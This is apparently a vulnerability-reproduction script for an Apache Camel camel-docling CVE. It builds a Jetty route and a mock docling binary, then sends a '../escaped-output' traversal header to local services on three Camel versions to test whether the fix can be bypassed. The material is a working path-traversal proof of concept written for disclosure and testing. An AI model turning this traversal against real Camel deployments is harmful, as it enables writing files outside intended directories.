#!/bin/bash
# =============================================================================
# Variant/bypass test for GHSA-rpv3-6645-2vqc / CVE-2026-40047
# Apache Camel camel-docling: fixed 4.18.3 allowlists CamelDoclingCustomArguments,
# but does not validate the separate CamelDoclingOutputFilePath header before
# appending it as the docling --output value. This script tests vulnerable and
# fixed/latest versions side by side.
#
# Exit 0 = bypass reproduced on a fixed/latest version.
# Exit 1 = no bypass reproduced, but tests completed.
# Exit 2 = infrastructure failure.
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VVAR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
HARNESS="$VVAR/harness_output_header"
BIN="$VVAR/bin"
mkdir -p "$LOGS" "$HARNESS/src/main/java/repro" "$BIN"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"

echo "[setup] ROOT=$ROOT" | tee -a "$MAIN_LOG"
echo "[setup] HARNESS=$HARNESS" | tee -a "$MAIN_LOG"

need_tool() {
  if ! command -v "$1" >/dev/null 2>&1; then
    echo "[infra] missing required tool: $1" | tee -a "$MAIN_LOG"
    exit 2
  fi
}
need_tool java
need_tool mvn
need_tool python3
need_tool curl

cat > "$HARNESS/pom.xml" <<'XML'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>repro</groupId>
  <artifactId>camel-docling-output-header-variant</artifactId>
  <version>1.0.0</version>
  <properties>
    <maven.compiler.release>17</maven.compiler.release>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <camel.version>4.18.3</camel.version>
  </properties>
  <dependencies>
    <dependency><groupId>org.apache.camel</groupId><artifactId>camel-core</artifactId><version>${camel.version}</version></dependency>
    <dependency><groupId>org.apache.camel</groupId><artifactId>camel-docling</artifactId><version>${camel.version}</version></dependency>
    <dependency><groupId>org.apache.camel</groupId><artifactId>camel-jetty</artifactId><version>${camel.version}</version></dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId><version>3.4.1</version>
        <configuration><mainClass>repro.OutputHeaderVariantApp</mainClass></configuration>
      </plugin>
    </plugins>
  </build>
</project>
XML

cat > "$HARNESS/src/main/java/repro/OutputHeaderVariantApp.java" <<'JAVA'
package repro;

import java.nio.file.Path;
import java.util.Arrays;
import org.apache.camel.CamelContext;
import org.apache.camel.Exchange;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.impl.DefaultCamelContext;

/**
 * Runtime harness: an HTTP caller controls only the relative "out" query value.
 * The route author prepends SAFE_OUTPUT_DIR and places the resulting path into
 * CamelDoclingOutputFilePath. The component should reject traversal after
 * normalization; fixed 4.18.3 does not validate this header path.
 */
public class OutputHeaderVariantApp {
    public static void main(String[] args) throws Exception {
        int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "18080"));
        String inputFile = System.getenv("INPUT_FILE");
        String safeOutputDir = System.getenv("SAFE_OUTPUT_DIR");
        if (safeOutputDir == null || safeOutputDir.isEmpty()) {
            throw new IllegalStateException("SAFE_OUTPUT_DIR must be set");
        }
        CamelContext context = new DefaultCamelContext();
        context.addRoutes(new RouteBuilder() {
            @Override public void configure() {
                onException(Exception.class)
                    .handled(true)
                    .setHeader(Exchange.HTTP_RESPONSE_CODE, constant(500))
                    .setBody(simple("${exception.class.name}: ${exception.message}"));

                from("jetty:http://0.0.0.0:" + port + "/convert")
                    .routeId("docling-output-header-variant")
                    .process(ex -> {
                        String argsParam = ex.getIn().getHeader("args", String.class);
                        if (argsParam != null && !argsParam.isEmpty()) {
                            ex.getIn().setHeader("CamelDoclingCustomArguments", Arrays.asList(argsParam.split(",")));
                        }
                        String outParam = ex.getIn().getHeader("X-Out", String.class);
                        if (outParam == null || outParam.isEmpty()) {
                            outParam = ex.getIn().getHeader("out", String.class);
                        }
                        if (outParam != null && !outParam.isEmpty()) {
                            // Intentionally model a common safe-base join. The attacker controls
                            // only outParam; Camel/docling should not receive a normalized escape.
                            String joined = Path.of(safeOutputDir, outParam).toString();
                            ex.getIn().setHeader("CamelDoclingOutputFilePath", joined);
                        }
                        if (inputFile != null && !inputFile.isEmpty()) {
                            ex.getIn().setHeader("CamelDoclingInputFilePath", inputFile);
                        }
                    })
                    .to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true&enableOCR=false");
            }
        });
        Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { context.stop(); } catch (Exception ignored) {} }));
        context.start();
        System.out.println("VARIANT_SERVICE_STARTED port=" + port + " safeOutputDir=" + safeOutputDir);
        System.out.flush();
        Thread.currentThread().join();
    }
}
JAVA

cat > "$HARNESS/input.txt" <<'EOF_INPUT'
Pruva camel-docling output header variant input.
EOF_INPUT

cat > "$BIN/docling" <<'PY'
#!/usr/bin/env python3
import json
import os
import pathlib
import sys

log_path = os.environ.get("PRUVA_DOCLING_LOG")
if log_path:
    pathlib.Path(log_path).parent.mkdir(parents=True, exist_ok=True)
    with open(log_path, "a", encoding="utf-8") as f:
        f.write("ARGV_JSON=" + json.dumps(sys.argv[1:]) + "\n")
        for i, arg in enumerate(sys.argv[1:]):
            f.write(f"ARGV[{i}]={arg}\n")

out = None
args = sys.argv[1:]
for i, arg in enumerate(args):
    if arg == "--output" and i + 1 < len(args):
        out = args[i + 1]
    elif arg.startswith("--output="):
        out = arg.split("=", 1)[1]

if out:
    p = pathlib.Path(out).expanduser()
    if not p.is_absolute():
        p = pathlib.Path.cwd() / p
    normalized = p.resolve(strict=False)
    normalized.mkdir(parents=True, exist_ok=True)
    marker = normalized / "DOCLING_OUTPUT_MARKER.txt"
    marker.write_text(
        "PRUVA_OUTPUT_HEADER_TRAVERSAL_REACHED\n"
        f"raw_output={out}\n"
        f"normalized_output={normalized}\n"
        f"cwd={pathlib.Path.cwd()}\n",
        encoding="utf-8",
    )
    if log_path:
        with open(log_path, "a", encoding="utf-8") as f:
            f.write(f"RAW_OUTPUT={out}\nNORMALIZED_OUTPUT={normalized}\nMARKER={marker}\n")

# Succeed so the proof focuses on Camel passing the unsafe path to ProcessBuilder.
print("docling mock completed")
sys.exit(0)
PY
chmod +x "$BIN/docling"

cat > "$LOGS/fixed_version.txt" <<'EOF_FIXED'
Apache Camel release tag identities resolved during variant analysis:
camel-4.18.2 3864c200f46aa055a0714a069c702c433aca7097
camel-4.18.3 6cc2920f7fd0dc642162aca00288f8dc0c9e37de
camel-4.21.0 a84c468557bba6d400fb9675351d7efe64ce01b4
Maven artifacts tested by this script: org.apache.camel:camel-docling:${version}
EOF_FIXED

if command -v git >/dev/null 2>&1; then
  git ls-remote https://github.com/apache/camel.git \
    refs/tags/camel-4.18.2 refs/tags/camel-4.18.3 refs/tags/camel-4.21.0 \
    >> "$LOGS/fixed_version.txt" 2>/dev/null || true
fi

# Build once with the fixed line to make infra failures explicit; version-specific
# dependencies are then selected by -Dcamel.version in run_attempt.
echo "[setup] Java: $(java -version 2>&1 | head -1)" | tee -a "$MAIN_LOG"
echo "[setup] Maven: $(mvn -version 2>&1 | head -1)" | tee -a "$MAIN_LOG"

PIDS=()
cleanup() {
  for pid in "${PIDS[@]:-}"; do kill "$pid" 2>/dev/null || true; done
  sleep 1 || true
  for pid in "${PIDS[@]:-}"; do kill -9 "$pid" 2>/dev/null || true; done
}
trap cleanup EXIT

urlencode() {
  python3 - "$1" <<'PY'
import sys, urllib.parse
print(urllib.parse.quote(sys.argv[1], safe=""))
PY
}

run_attempt() {
  local version="$1" label="$2" port="$3"
  local attempt_dir="$VVAR/attempt_${label}"
  local safe_dir="$attempt_dir/safe-output"
  local escaped_dir="$attempt_dir/escaped-output"
  local service_log="$LOGS/${label}_service.log"
  local docling_log="$LOGS/${label}_docling_invocations.log"
  local response_file="$LOGS/${label}_response.txt"
  local control_resp="$LOGS/${label}_custom_args_control_response.txt"
  local marker="$escaped_dir/DOCLING_OUTPUT_MARKER.txt"
  rm -rf "$attempt_dir"
  mkdir -p "$safe_dir"
  : > "$service_log"
  : > "$docling_log"
  : > "$response_file"
  : > "$control_resp"

  echo "[attempt] starting $label version=$version port=$port" | tee -a "$MAIN_LOG"
  (
    cd "$HARNESS"
    PATH="$BIN:$PATH" \
    PRUVA_DOCLING_LOG="$docling_log" \
    PORT="$port" \
    INPUT_FILE="$HARNESS/input.txt" \
    SAFE_OUTPUT_DIR="$safe_dir" \
    mvn -q -Dcamel.version="$version" compile exec:java
  ) >"$service_log" 2>&1 &
  local pid=$!
  PIDS+=("$pid")

  local ready=false
  for _ in $(seq 1 80); do
    if grep -q "VARIANT_SERVICE_STARTED" "$service_log" 2>/dev/null; then ready=true; break; fi
    if ! kill -0 "$pid" 2>/dev/null; then break; fi
    sleep 0.5
  done
  if [ "$ready" != "true" ]; then
    echo "[infra] service did not start for $label; see $service_log" | tee -a "$MAIN_LOG"
    return 2
  fi

  # Control: fixed 4.18.3+ should reject an unknown custom flag, proving the
  # custom-argument allowlist is active while the output-header path remains open.
  local control_code
  control_code=$(curl -sS -m 20 -o "$control_resp" -w "%{http_code}" \
    "http://127.0.0.1:${port}/convert?args=--pruva-unknown-flag" || echo 000)

  local traversal="../escaped-output"
  # Send the traversal via an HTTP header rather than the URL so Jetty URI
  # normalization/rejection is not the thing under test. The route maps X-Out
  # into CamelDoclingOutputFilePath.
  : > "$docling_log"
  local http_code
  http_code=$(curl -sS -m 30 -o "$response_file" -w "%{http_code}" \
    -H "X-Out: ${traversal}" \
    "http://127.0.0.1:${port}/convert" || echo 000)

  sleep 1
  kill "$pid" 2>/dev/null || true
  wait "$pid" 2>/dev/null || true

  local invoked=false escaped=false control_rejected=false
  grep -q "ARGV_JSON" "$docling_log" && invoked=true
  [ -f "$marker" ] && escaped=true
  if grep -qi "not a recognized docling CLI flag\|not permitted\|IllegalArgumentException" "$control_resp"; then
    control_rejected=true
  fi

  echo "[attempt] $label http=$http_code invoked=$invoked escaped_marker=$escaped control_http=$control_code control_rejected=$control_rejected marker=$marker" | tee -a "$MAIN_LOG"
  if [ -f "$marker" ]; then
    cp -f "$marker" "$LOGS/${label}_escaped_marker.txt"
  fi
  return 0
}

RESULT_4182=false
RESULT_4183=false
RESULT_4210=false
run_attempt "4.18.2" "vulnerable_4.18.2" 19182 || exit 2
[ -f "$VVAR/attempt_vulnerable_4.18.2/escaped-output/DOCLING_OUTPUT_MARKER.txt" ] && RESULT_4182=true
run_attempt "4.18.3" "fixed_4.18.3" 19183 || exit 2
[ -f "$VVAR/attempt_fixed_4.18.3/escaped-output/DOCLING_OUTPUT_MARKER.txt" ] && RESULT_4183=true
run_attempt "4.21.0" "latest_4.21.0" 19210 || exit 2
[ -f "$VVAR/attempt_latest_4.21.0/escaped-output/DOCLING_OUTPUT_MARKER.txt" ] && RESULT_4210=true

python3 - "$VVAR/runtime_manifest.json" "$RESULT_4182" "$RESULT_4183" "$RESULT_4210" <<'PY'
import json, os, sys
out, r4182, r4183, r4210 = sys.argv[1:]
root = os.path.dirname(os.path.dirname(out))
artifacts = [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/fixed_version.txt",
    "logs/vuln_variant/vulnerable_4.18.2_service.log",
    "logs/vuln_variant/vulnerable_4.18.2_docling_invocations.log",
    "logs/vuln_variant/vulnerable_4.18.2_response.txt",
    "logs/vuln_variant/vulnerable_4.18.2_escaped_marker.txt",
    "logs/vuln_variant/fixed_4.18.3_service.log",
    "logs/vuln_variant/fixed_4.18.3_docling_invocations.log",
    "logs/vuln_variant/fixed_4.18.3_response.txt",
    "logs/vuln_variant/fixed_4.18.3_escaped_marker.txt",
    "logs/vuln_variant/fixed_4.18.3_custom_args_control_response.txt",
    "logs/vuln_variant/latest_4.21.0_service.log",
    "logs/vuln_variant/latest_4.21.0_docling_invocations.log",
    "logs/vuln_variant/latest_4.21.0_response.txt",
    "logs/vuln_variant/latest_4.21.0_escaped_marker.txt",
    "logs/vuln_variant/latest_4.21.0_custom_args_control_response.txt",
]
artifacts = [p for p in artifacts if os.path.exists(os.path.join(root, p))]
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "HTTP /convert with X-Out: ../escaped-output -> route joins SAFE_OUTPUT_DIR/X-Out -> CamelDoclingOutputFilePath -> DoclingProducer.addOutputDirectoryArguments() -> ProcessBuilder argv --output <traversal path>",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": r4183 == "true" or r4210 == "true",
    "runtime_stack": ["camel-jetty", "camel-docling DoclingProducer", "java.lang.ProcessBuilder", "docling CLI executable on PATH"],
    "tested_versions": {
        "vulnerable_4.18.2_marker": r4182 == "true",
        "fixed_4.18.3_marker": r4183 == "true",
        "latest_4.21.0_marker": r4210 == "true",
    },
    "proof_artifacts": artifacts,
    "notes": "The same HTTP-controlled output path traversal is passed to docling as --output and writes a marker outside SAFE_OUTPUT_DIR on fixed 4.18.3 and latest 4.21.0. The control request shows the custom-argument allowlist rejects unknown flags on fixed lines, so this is a separate unvalidated path-bearing header gap.",
}
with open(out, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
print("[manifest] wrote " + out)
PY

if [ "$RESULT_4183" = "true" ] || [ "$RESULT_4210" = "true" ]; then
  echo "[result] BYPASS REPRODUCED: CamelDoclingOutputFilePath traversal reaches docling on fixed/latest version(s)." | tee -a "$MAIN_LOG"
  exit 0
fi

echo "[result] NO BYPASS: output-header traversal did not reproduce on fixed/latest versions." | tee -a "$MAIN_LOG"
exit 1
